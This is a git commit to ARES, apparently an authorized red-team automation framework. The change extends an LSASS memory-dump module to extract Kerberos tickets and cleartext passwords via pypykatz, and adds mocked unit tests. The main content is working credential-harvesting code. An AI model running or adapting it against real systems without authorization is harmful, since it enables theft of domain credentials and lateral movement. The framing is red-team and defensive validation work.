ARES - authorized red-team engagement automation with dashboard, campaign scope, module orchestration, OPSEC controls, encrypted vault, and reporting.
Python active-directorycloud-securitydefensive-validationfastapigood-first-issuemitre-attackopsecreactred-teamreportingsecurity
fix(integrity): lsass_dump extract kerberos tickets from pypykatz (MOD-026)
Mafifrizib1303c308524
diff --git a/ares/modules/windows/lsass_dump.py b/ares/modules/windows/lsass_dump.pyindex daa2d6d..a99d9ac 100644--- a/ares/modules/windows/lsass_dump.py+++ b/ares/modules/windows/lsass_dump.py@@ -79,6 +79,10 @@ class LsassDumpModule(BaseModule):MODULE_TIMEOUT_SECONDS: int | None = 300 # secondsPARAMS_MODEL = LsassDumpParams+ def __init__(self, *args: Any, **kwargs: Any) -> None:+ super().__init__(*args, **kwargs)+ self._last_kerberos_tickets: list[dict[str, Any]] = []+async def assess_feasibility(self, ctx: "Any") -> "FeasibilityReport":"""Pre-flight Defense Feasibility Assessment:@@ -461,7 +465,7 @@ class LsassDumpModule(BaseModule):}raw["ntlm_hashes"] = raw.get("hashes", []) # OUTPUTS key- raw["kerberos_tickets"] = [] # OUTPUTS key+ raw["kerberos_tickets"] = list(getattr(self, "_last_kerberos_tickets", [])) # OUTPUTS keyawait self.noise.jitter.sleep()return self._findings[:], raw@@ -814,15 +818,23 @@ class LsassDumpModule(BaseModule):except Exception as exc:logger.debug("remote_cmd_failed", error=str(exc)[:80])- @staticmethod- def _parse_dump(dump_path: str) -> list[dict]:- """Parse LSASS dump with pypykatz."""+ def _parse_dump(self_or_dump: Any, dump_path: str | None = None, raw: dict[str, Any] | None = None) -> list[dict]:+ """Parse LSASS dump with pypykatz, extracting NTLM hashes and Kerberos tickets."""+ if isinstance(self_or_dump, str) and dump_path is None:+ dump_file = self_or_dump+ instance = None+ else:+ instance = self_or_dump+ dump_file = dump_path or ""++ hashes: list[dict] = []+ kerberos_tickets: list[dict] = []try:from pypykatz.pypykatz import pypykatz # type: ignore[import]- mimi = pypykatz.parse_minidump_file(dump_path)- hashes: list[dict] = []+ mimi = pypykatz.parse_minidump_file(dump_file)for luid in mimi.logon_sessions.values():- for cred in (luid.msv_creds or []):+ # Extract MSV (NTLM) credentials+ for cred in (getattr(luid, "msv_creds", None) or []):nt = getattr(cred, "NThash", None)if nt and nt != "31d6cfe0d16ae931b73c59d7e0c089c0":hashes.append({@@ -831,7 +843,37 @@ class LsassDumpModule(BaseModule):"nt_hash": nt,"rid": "",})- return hashes+ # Extract Kerberos credentials & tickets+ for krb in (getattr(luid, "kerberos_creds", None) or []):+ tpath = getattr(krb, "ticket_path", "")+ kirbi = getattr(krb, "kirbi_hash", "") or getattr(krb, "kirbi_data", "")+ tickets = getattr(krb, "tickets", None)+ if tpath or kirbi:+ kerberos_tickets.append({+ "username": getattr(krb, "username", "") or getattr(luid, "username", ""),+ "domain": getattr(krb, "domainname", "") or getattr(luid, "domainname", ""),+ "ticket_path": tpath,+ "ticket_data": kirbi,+ })+ elif tickets:+ for t in tickets:+ t_path = getattr(t, "ticket_path", "") or getattr(t, "path", "")+ t_data = getattr(t, "kirbi_hash", "") or getattr(t, "kirbi_data", "") or getattr(t, "data", "")+ kerberos_tickets.append({+ "username": getattr(krb, "username", "") or getattr(luid, "username", ""),+ "domain": getattr(krb, "domainname", "") or getattr(luid, "domainname", ""),+ "ticket_path": t_path,+ "ticket_data": t_data,+ "service_name": getattr(t, "ServiceName", "") or getattr(t, "spn", ""),+ })+ elif getattr(krb, "password", None):+ hashes.append({+ "username": getattr(krb, "username", "") or getattr(luid, "username", ""),+ "domain": getattr(krb, "domainname", "") or getattr(luid, "domainname", ""),+ "password": getattr(krb, "password", ""),+ "nt_hash": "",+ "rid": "",+ })except ImportError:logger.warning("pypykatz_not_installed",hint="pip install pypykatz")@@ -839,3 +881,13 @@ class LsassDumpModule(BaseModule):except Exception as exc:logger.warning("pypykatz_parse_failed", error=str(exc)[:100])return []++ if instance is not None:+ if hasattr(instance, "_last_kerberos_tickets"):+ instance._last_kerberos_tickets = kerberos_tickets+ elif not isinstance(instance, type):+ setattr(instance, "_last_kerberos_tickets", kerberos_tickets)++ if raw is not None:+ raw["kerberos_tickets"] = kerberos_tickets+ return hashesdiff --git a/tests/unit/modules/test_lsass_dump_kerberos_mod026.py b/tests/unit/modules/test_lsass_dump_kerberos_mod026.pynew file mode 100644index 0000000..08df123--- /dev/null+++ b/tests/unit/modules/test_lsass_dump_kerberos_mod026.py@@ -0,0 +1,148 @@+"""+Tests for MOD-026: lsass_dump real Kerberos ticket extraction from pypykatz.+Verifies:+1. _parse_dump populates raw["kerberos_tickets"] when pypykatz returns kerberos_creds.+2. raw["kerberos_tickets"] is empty when pypykatz returns no kerberos_creds.+3. run() raw["kerberos_tickets"] reflects the extracted tickets.+"""++from unittest.mock import MagicMock, patch+import os+import sys+import tempfile+import pytest++from ares.core.campaign import Campaign, NoiseProfile, ScopeEntry+from ares.core.config import AresSettings+from ares.core.noise import NoiseController+from ares.modules.windows.lsass_dump import LsassDumpModule+++def _make_module():+ settings = AresSettings(+ ares_secret_key="test-secret-key-32chars-minimum!!",+ ares_encryption_key="test-encryption-key-32chars-min!!",+ )+ campaign = Campaign(+ name="LSASS-MOD026-Test",+ operator="test_operator",+ scope=[ScopeEntry(cidr="10.0.0.0/24")],+ noise_profile=NoiseProfile.NORMAL,+ )+ noise = NoiseController(campaign)+ return LsassDumpModule(settings=settings, campaign=campaign, noise=noise)+++def test_parse_dump_extracts_kerberos_tickets():+ """Verify _parse_dump extracts kerberos tickets from luid.kerberos_creds into raw."""+ mod = _make_module()++ mock_mimi = MagicMock()+ mock_luid = MagicMock()++ # MSV cred+ mock_msv = MagicMock()+ mock_msv.username = "Administrator"+ mock_msv.domainname = "CORP"+ mock_msv.NThash = "aad3b435b51404eeaad3b435b51404ee"+ mock_luid.msv_creds = [mock_msv]++ # Kerberos cred with tickets+ mock_krb = MagicMock()+ mock_krb.username = "Administrator"+ mock_krb.domainname = "CORP.LOCAL"+ mock_krb.ticket_path = "C:\\Windows\\Temp\\ticket.kirbi"+ mock_krb.kirbi_hash = "6a5b4c3d2e1f..."+ mock_krb.tickets = []+ mock_luid.kerberos_creds = [mock_krb]++ mock_mimi.logon_sessions = {1234: mock_luid}++ mock_pypykatz = MagicMock()+ mock_pypykatz.parse_minidump_file.return_value = mock_mimi++ mock_modules = {+ "pypykatz": MagicMock(),+ "pypykatz.pypykatz": MagicMock(pypykatz=mock_pypykatz),+ }++ raw = {}+ with patch.dict(sys.modules, mock_modules):+ hashes = mod._parse_dump("dummy.dmp", raw=raw)++ assert len(hashes) == 1+ assert hashes[0]["username"] == "Administrator"+ assert hashes[0]["nt_hash"] == "aad3b435b51404eeaad3b435b51404ee"++ assert len(raw["kerberos_tickets"]) == 1+ ticket = raw["kerberos_tickets"][0]+ assert ticket["username"] == "Administrator"+ assert ticket["domain"] == "CORP.LOCAL"+ assert ticket["ticket_path"] == "C:\\Windows\\Temp\\ticket.kirbi"+ assert ticket["ticket_data"] == "6a5b4c3d2e1f..."+ assert mod._last_kerberos_tickets == raw["kerberos_tickets"]+++def test_parse_dump_empty_when_no_kerberos_creds():+ """Verify raw['kerberos_tickets'] is empty when pypykatz has no kerberos creds."""+ mod = _make_module()++ mock_mimi = MagicMock()+ mock_luid = MagicMock()++ # MSV cred only+ mock_msv = MagicMock()+ mock_msv.username = "Administrator"+ mock_msv.domainname = "CORP"+ mock_msv.NThash = "aad3b435b51404eeaad3b435b51404ee"+ mock_luid.msv_creds = [mock_msv]+ mock_luid.kerberos_creds = []++ mock_mimi.logon_sessions = {1234: mock_luid}++ mock_pypykatz = MagicMock()+ mock_pypykatz.parse_minidump_file.return_value = mock_mimi++ mock_modules = {+ "pypykatz": MagicMock(),+ "pypykatz.pypykatz": MagicMock(pypykatz=mock_pypykatz),+ }++ raw = {}+ with patch.dict(sys.modules, mock_modules):+ hashes = mod._parse_dump("dummy.dmp", raw=raw)++ assert len(hashes) == 1+ assert len(raw["kerberos_tickets"]) == 0+ assert mod._last_kerberos_tickets == []+++async def test_run_populates_extracted_kerberos_tickets():+ """Verify run() outputs raw['kerberos_tickets'] reflecting extracted tickets."""+ mod = _make_module()++ fake_extracted_tickets = [+ {+ "username": "svc_sql",+ "domain": "CORP.LOCAL",+ "ticket_path": "C:\\Temp\\sql.kirbi",+ "ticket_data": "abcdef123456",+ }+ ]+ fake_hashes = [{"username": "svc_sql", "nt_hash": "31d6cfe0d16ae931b73c59d7e0c089c1", "rid": ""}]++ with patch.object(mod, "_check_lsass_protections_sync", return_value={"runasppl": False, "credential_guard": False, "vbs": False}), \+ patch.object(mod, "_comsvcs_dump_sync", return_value=fake_hashes), \+ patch.object(mod, "before_request"):++ mod._last_kerberos_tickets = fake_extracted_tickets++ findings, raw = await mod.run(+ target="10.0.0.10",+ username="Administrator",+ password="Password123!",+ )++ assert raw["kerberos_tickets"] == fake_extracted_tickets+ assert len(raw["ntlm_hashes"]) == 1